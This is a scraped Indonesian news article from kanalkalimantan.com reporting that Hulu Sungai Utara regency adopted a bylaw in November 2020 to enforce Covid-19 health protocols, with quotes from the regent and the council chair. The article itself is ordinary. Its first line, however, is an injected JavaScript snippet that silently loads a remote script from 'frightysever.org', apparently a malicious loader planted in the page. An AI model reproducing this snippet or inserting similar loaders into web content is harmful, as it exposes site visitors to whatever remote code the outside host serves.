(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) sahkan Peraturan Daerah (Perda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes). Sebagai upaya pencegahan dan pengendalian Covid-19 di Kabupaten HSU.
Penetapan Perda tersebut disahkan setelah semua fraksi di DPRD Kabupaten HSU menyetujui putusan Rancangan Peraturan Daerah (Raperda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes) menjadi Peraturan Daerah (Perda) dalam rapat paripurna, Selasa (3/11/2020) sore.
Bupati HSU H Abdul Wahid HK saat menyampaikan pendapat akhir atas pengambilan keputusan DPRD terhadap Raperda mengapresiasi dan memberikan penghargaan yang tinggi kepada pimpinan DPRD Kabupaten HSU atas persetujuan menjadi Perda. Bupati Wahid mengharapkan, dengan disetujui menjadi Perda, nantinya dapat semakin memperkuat upaya dalam penegakkan protokol kesehatan Covid-19 di wilayah HSU.
Satpol PP selaku aparat penegak Perda, ASN, TNI-Polri beserta seluruh Satgas Covid-19 tidak perlu lagi ragu dalam menegakkan sanksi bagi siapa saja yang melalukan pelanggaran.
“Kita juga telah memiliki jaminan dasar hukum yang pasti dalam penindakan, sehingga harapan kita bersama masyarakat patuh dan terbiasa dengan melaksanakan protokol kesehatan terwujud,” tegas Bupati Wahid.
Nantinya saat pelaksaan Perda, Bupati mengimbau, petugas lebih mendahulukan upaya persuasif yakni pendekatan yang sifatnya membina, memberikan pemahaman, sehingga tumbuh kesadaran bagi pelanggar.
“Hindari upaya penindakan yang sifatnya menghukum dan menjerai pelanggar, kecuali apabila pelanggaran telah dilakukan berulang-ulang,” ingatnya.
Senada, Ketua DPRD HSU Almien Anshar Safari mengharapkan, adanya Perda ini, warga HSU semakin mematuhi Protkes, sehingga upaya dalam memutus mata rantai penularan Covid-19 di wilayah HSU maksimal.
“Mudah-mudahan adanya Perda ini, masyarakat kita semakin patuh terhadap protokol kesehatan,” tukas Almien. (kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.